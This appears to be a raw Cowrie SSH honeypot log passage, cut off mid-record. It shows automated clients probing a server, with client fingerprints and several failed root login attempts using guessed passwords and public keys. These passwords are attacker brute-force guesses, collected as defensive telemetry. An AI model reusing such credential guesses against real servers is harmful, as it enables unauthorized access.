{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:59.838157Z","src_ip":"221.161.235.168","session":"4e52894e6656","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:59.976817Z","src_ip":"8.218.166.49","session":"29db1acbaea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:01.034109Z","src_ip":"221.161.235.168","session":"4e52894e6656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":45184,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7ecd88697e4","protocol":"ssh","message":"New connection: 139.59.208.49:45184 (159.203.135.109:22) [session: c7ecd88697e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:10.440194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:10.451540Z","src_ip":"139.59.208.49","session":"c7ecd88697e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:10.539598Z","src_ip":"139.59.208.49","session":"c7ecd88697e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"HZ@123456","message":"login attempt [root/HZ@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:10.920636Z","src_ip":"139.59.208.49","session":"c7ecd88697e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:12.011257Z","src_ip":"139.59.208.49","session":"c7ecd88697e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":53084,"dst_ip":"159.203.135.109","dst_port":22,"session":"de76800a96bb","protocol":"ssh","message":"New connection: 124.155.125.131:53084 (159.203.135.109:22) [session: de76800a96bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:22.181062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:22.185819Z","src_ip":"124.155.125.131","session":"de76800a96bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:22.363929Z","src_ip":"124.155.125.131","session":"de76800a96bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"peppino","message":"login attempt [root/peppino] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:23.105639Z","src_ip":"124.155.125.131","session":"de76800a96bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:24.285861Z","src_ip":"124.155.125.131","session":"de76800a96bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":51688,"dst_ip":"10.17.0.5","dst_port":22,"session":"b970d5d4b25f","protocol":"ssh","message":"New connection: 8.218.166.49:51688 (10.17.0.5:22) [session: b970d5d4b25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:25.391479Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.159.104.219","src_port":40354,"dst_ip":"10.17.0.5","dst_port":22,"session":"8672364bd5b7","protocol":"ssh","message":"New connection: 51.159.104.219:40354 (10.17.0.5:22) [session: 8672364bd5b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:25.396884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:25.403801Z","src_ip":"8.218.166.49","session":"b970d5d4b25f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:25.408760Z","src_ip":"51.159.104.219","session":"8672364bd5b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:25.493635Z","src_ip":"51.159.104.219","session":"8672364bd5b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:de:82:5a:dd:4a:cb:9b:89:5f:6a:0b:df:bc:18:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt3fN0SAnf/JK5H0VVbyUb5mVsRt/AeP9QOt+OCob1XyWies+eHXwXz/4DoniZvzrvG+vWskBw+BjuvLq8nVfY0ebqGFGjEgECi6F1lFz9hnnwIY5NDb4fml0VLIa9CjSel8vmNZi9xIFhMCgGqJux0HGdWudTfkzoIjb2PvtvNyVIQSOvr7qINwzrkrxQ6Q7o6X4VjmtZnas5bBRXJ1S2yhI3SYry5RIjUHboZc8ECVIdgswTdV3yxq9K/nGaOWpfI6KmaaSj9PL5RJmYv27yt4wOnq/9g7Ek2jiiDAuPNo+gouiMT2Ae0n0bf6JmKb1G5zxCfWzVc+dP7ud0as/l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:de:82:5a:dd:4a:cb:9b:89:5f:6a:0b:df:bc:18:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:25.896758Z","src_ip":"51.159.104.219","session":"8672364bd5b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:de:82:5a:dd:4a:cb:9b:89:5f:6a:0b:df:bc:18:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt3fN0SAnf/JK5H0VVbyUb5mVsRt/AeP9QOt+OCob1XyWies+eHXwXz/4DoniZvzrvG+vWskBw+BjuvLq8nVfY0ebqGFGjEgECi6F1lFz9hnnwIY5NDb4fml0VLIa9CjSel8vmNZi9xIFhMCgGqJux0HGdWudTfkzoIjb2PvtvNyVIQSOvr7qINwzrkrxQ6Q7o6X4VjmtZnas5bBRXJ1S2yhI3SYry5RIjUHboZc8ECVIdgswTdV3yxq9K/nGaOWpfI6KmaaSj9PL5RJmYv27yt4wOnq/9g7Ek2jiiDAuPNo+gouiMT2Ae0n0bf6JmKb1G5zxCfWzVc+dP7ud0as/l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:25.900677Z","src_ip":"51.159.104.219","session":"8672364bd5b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:c1:14:de:a9:ec:18:3c:4e:2d:6b:84:91:63:4b:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7TqWEC6W7u0SxM1CpK3mDs4kT2jJ7QBEN23iz6EgqrfKem8T4p45lfbWJ3JIVcd9NkiyNn/gV/98h5RykVy6bXGnJWdCtQ2/MtfFFmJwUGup2q4IPNJ8McMfyEw4nvvTiwwxgP1y5EUEQQw+gc49UhfvtRrVJYvlF5Tfjf+8BbaBayu2LmOpaGMkAq/hyruFopRSFxBAAh8VuNyZSlR35qjQGi+165wcBog3pRLOd2+q8ucNS9/7qhDGBFIhkfoA8v3sdIT+1GLg7FpGId39dwaMDWpO+OhU9I6ObtRIwkbQmDhz3x5RLlou3k4PwINOISa0jdRJi4Xv1G0b4PBMJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:c1:14:de:a9:ec:18:3c:4e:2d:6b:84:91:63:4b:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:25.986723Z","src_ip":"51.159.104.219","session":"8672364bd5b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:c1:14:de:a9:ec:18:3c:4e:2d:6b:84:91:63:4b:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7TqWEC6W7u0SxM1CpK3mDs4kT2jJ7QBEN23iz6EgqrfKem8T4p45lfbWJ3JIVcd9NkiyNn/gV/98h5RykVy6bXGnJWdCtQ2/MtfFFmJwUGup2q4IPNJ8McMfyEw4nvvTiwwxgP1y5EUEQQw+gc49UhfvtRrVJYvlF5Tfjf+8BbaBayu2LmOpaGMkAq/hyruFopRSFxBAAh8VuNyZSlR35qjQGi+165wcBog3pRLOd2+q8ucNS9/7qhDGBFIhkfoA8v3sdIT+1GLg7FpGId39dwaMDWpO+OhU9I6ObtRIwkbQmDhz3x5RLlou3k4PwINOISa0jdRJi4Xv1G0b4PBMJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:25.990718Z","src_ip":"51.159.104.219","session":"8672364bd5b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:52:01:13:34:bc:0e:52:ed:10:f1:7e:dc:70:95:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUvZTty58F2jbJmGC/CdKVo4CjastIy1+OWpQKa5tQobtTncKX1oeHJHKuBodo3aVp00+e4Kk7jP70C22U1I6hbM8QwI1wajX0xx3EfHmg0G/of3PAzIy/7c+FcQljqgr1yiAJ38LcbB1fkNOd792r7qPFcKwRdkCxD60dUAYBPP02CJz+Ua4JvamOqrLWuKRUKlSrKiCYuFiXiFNxyC4Tmc0OGFjNf3Elr4t8u+8dpLXZ4NMpOPpH2kQamoCX2+PUAVX+iQY48V9O/YJywt6PLBnYlCXOb+JT+59Z7cAWU+yA2AYXx0akz5hVUU7tyWhJVz0hZ9sVEpbZoDJguw1X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:52:01:13:34:bc:0e:52:ed:10:f1:7e:dc:70:95:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:26.076915Z","src_ip":"51.159.104.219","session":"8672364bd5b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:52:01:13:34:bc:0e:52:ed:10:f1:7e:dc:70:95:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUvZTty58F2jbJmGC/CdKVo4CjastIy1+OWpQKa5tQobtTncKX1oeHJHKuBodo3aVp00+e4Kk7jP70C22U1I6hbM8QwI1wajX0xx3EfHmg0G/of3PAzIy/7c+FcQljqgr1yiAJ38LcbB1fkNOd792r7qPFcKwRdkCxD60dUAYBPP02CJz+Ua4JvamOqrLWuKRUKlSrKiCYuFiXiFNxyC4Tmc0OGFjNf3Elr4t8u+8dpLXZ4NMpOPpH2kQamoCX2+PUAVX+iQY48V9O/YJywt6PLBnYlCXOb+JT+59Z7cAWU+yA2AYXx0akz5hVUU7tyWhJVz0hZ9sVEpbZoDJguw1X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:26.080628Z","src_ip":"51.159.104.219","session":"8672364bd5b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:fb:98:f9:88:ff:6d:0a:54:fb:de:ce:83:3c:e1:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnAu7Z7Fnx1wKs/gFcn8k7Q5LphR2W0+p+sJ4rb3BLgJdlYjCL+0eF3z6BJbgTYJhAz4SWWALPTnplt/PD4BQnCS9rwg5X9qyt8B/Hr0BiTKrMF2AD3Db7/nNRQDyuxCADPhK/hefBJE42Mfzrt30EQbZuH0eDMBXl8Pl4pmSMjBhKoA0dKNuSzjz4KwWARE9lZ//scXS+T73GPezdaxRo2QJoEyJXqCtbhGpCbczp0GxC0ogfhEQnNwrkMEgumXP6tSYWzNjJTljqlLLpXMLfFEFy70KNTU9GjYvndO+Sz/MX1jPiu3TgPnAkO+NNXdgU0tnkSQHWumpeA440naXGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:fb:98:f9:88:ff:6d:0a:54:fb:de:ce:83:3c:e1:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:26.167303Z","src_ip":"51.159.104.219","session":"8672364bd5b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:fb:98:f9:88:ff:6d:0a:54:fb:de:ce:83:3c:e1:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnAu7Z7Fnx1wKs/gFcn8k7Q5LphR2W0+p+sJ4rb3BLgJdlYjCL+0eF3z6BJbgTYJhAz4SWWALPTnplt/PD4BQnCS9rwg5X9qyt8B/Hr0BiTKrMF2AD3Db7/nNRQDyuxCADPhK/hefBJE42Mfzrt30EQbZuH0eDMBXl8Pl4pmSMjBhKoA0dKNuSzjz4KwWARE9lZ//scXS+T73GPezdaxRo2QJoEyJXqCtbhGpCbczp0GxC0ogfhEQnNwrkMEgumXP6tSYWzNjJTljqlLLpXMLfFEFy70KNTU9GjYvndO+Sz/MX1jPiu3TgPnAkO+NNXdgU0tnkSQHWumpeA440naXGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:26.170966Z","src_ip":"51.159.104.219","session":"8672364bd5b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:05:01:2b:6c:ae:be:02:2a:ea:00:14:3f:32:20:8c","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAN+ILmWljw5ZN9z8/n0DLc9WrpZocZJSoJu0YYJv0AVFwA0wvZ+0urLjl1+Z7cQZ9iJMZTfX/CyqWdQF8bf8Ef1BIvvG9gZeN2XMAhNDnmSIfl355OpuVHxvqqNxAP4INfJ1U5bF0eIE0bZReTztkHkydP/Cr2EolzAe/mTsxZP1AAAAFQCIGez7d7/q5ABMQrRj9I81quF/5QAAAIEAr5sIGlKiPPKO2EXvlIOn6jsV5io9p30ZfVAMwVQjjzvgKVD8Dr54rRYfp2Og6UE5Uf1QB4KYdVIRcS4BRghKVSpqNqvw9qnJA8JhkLXGycJ05N8+kOKjPK01forq+JZ1/IuGFkT50C2HTgRWWOzPXCyq5c5OsRFJnLuyGN+R7jMAAACAYPBwcDJHRaX6yC3l0og96lHDFJOz6hhOeAJv1DpsuTZUB9Yub2mYwgwvJf0K1W+d54C47JnEjNkG46RH1tQBqiWw2ONVO847TD+IbHB8dXfrxL6fnSxzOIT/q3/4dXo6EGpEMFhOOKMEZQjwdwAVpopaNL/gjUiU2/h2uTFdByI=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint de:05:01:2b:6c:ae:be:02:2a:ea:00:14:3f:32:20:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:26.256434Z","src_ip":"51.159.104.219","session":"8672364bd5b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:05:01:2b:6c:ae:be:02:2a:ea:00:14:3f:32:20:8c","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAN+ILmWljw5ZN9z8/n0DLc9WrpZocZJSoJu0YYJv0AVFwA0wvZ+0urLjl1+Z7cQZ9iJMZTfX/CyqWdQF8bf8Ef1BIvvG9gZeN2XMAhNDnmSIfl355OpuVHxvqqNxAP4INfJ1U5bF0eIE0bZReTztkHkydP/Cr2EolzAe/mTsxZP1AAAAFQCIGez7d7/q5ABMQrRj9I81quF/5QAAAIEAr5sIGlKiPPKO2EXvlIOn6jsV5io9p30ZfVAMwVQjjzvgKVD8Dr54rRYfp2Og6UE5Uf1QB4KYdVIRcS4BRghKVSpqNqvw9qnJA8JhkLXGycJ05N8+kOKjPK01forq+JZ1/IuGFkT50C2HTgRWWOzPXCyq5c5OsRFJnLuyGN+R7jMAAACAYPBwcDJHRaX6yC3l0og96lHDFJOz6hhOeAJv1DpsuTZUB9Yub2mYwgwvJf0K1W+d54C47JnEjNkG46RH1tQBqiWw2ONVO847TD+IbHB8dXfrxL6fnSxzOIT/q3/4dXo6EGpEMFhOOKMEZQjwdwAVpopaNL/gjUiU2/h2uTFdByI=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:26.260028Z","src_ip":"51.159.104.219","session":"8672364bd5b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:26.344803Z","src_ip":"51.159.104.219","session":"8672364bd5b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:30.472343Z","src_ip":"8.218.166.49","session":"b970d5d4b25f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":39374,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cd2c5c465cb","protocol":"ssh","message":"New connection: 221.161.235.168:39374 (159.203.135.109:22) [session: 2cd2c5c465cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:42.090699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:42.095802Z","src_ip":"221.161.235.168","session":"2cd2c5c465cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","h